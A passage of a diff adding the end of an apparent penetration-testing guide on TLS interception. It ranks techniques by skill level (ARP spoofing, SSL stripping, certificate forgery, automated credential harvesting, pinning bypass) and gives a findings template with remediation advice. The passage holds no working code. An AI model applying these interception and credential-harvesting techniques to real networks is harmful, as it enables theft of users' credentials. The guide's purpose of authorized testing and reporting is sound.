|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## Skill Levels
|
|
267
|
+
|
|
268
|
+
**BEGINNER:** Burp Suite proxy + install CA cert → intercept browser traffic
|
|
269
|
+
|
|
270
|
+
**INTERMEDIATE:** mitmproxy transparent proxy + ARP spoof → network-wide interception + credential extraction script
|
|
271
|
+
|
|
272
|
+
**ADVANCED:** SSL stripping with bettercap + HSTS bypass + certificate forgery for internal services
|
|
273
|
+
|
|
274
|
+
**EXPERT:** Custom mitmproxy scripts for automated credential harvesting + TLS fingerprint analysis + certificate pinning bypass on hardened apps
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Findings Documentation
|
|
279
|
+
|
|
280
|
+
```
|
|
281
|
+
Finding: SSL/TLS Interception Possible
|
|
282
|
+
Severity: HIGH
|
|
283
|
+
CVSS: 7.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
|
|
284
|
+
MITRE: T1557.002 (ARP Cache Poisoning), T1040 (Network Sniffing)
|
|
285
|
+
|
|
286
|
+
Evidence:
|
|
287
|
+
- Screenshot of intercepted credentials in mitmproxy
|
|
288
|
+
- List of hosts with no HSTS or HPKP
|
|
289
|
+
- TLS version support matrix from testssl.sh
|
|
290
|
+
|
|
291
|
+
Remediation:
|
|
292
|
+
- Enforce HSTS with max-age=31536000; includeSubDomains; preload
|
|
293
|
+
- Implement certificate pinning in mobile/desktop apps
|
|
294
|
+
- Disable TLS 1.0/1.1 and weak cipher suites
|
|
295
|
+
- Deploy 802.1X on internal network to prevent ARP spoofing
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
---
|
|
299
|
+
|
|
300
|
+
## References
|
|
301
|
+
|
|
302
|
+
- mitmproxy docs: https://docs.mitmproxy.org
|
|
303
|
+
- bettercap: https://www.bettercap.org
|
|
304
|
+
- testssl.sh: https://github.com/drwetter/testssl.sh
|
|
305
|
+
- MITRE T1557: https://attack.mitre.org/techniques/T1557/
|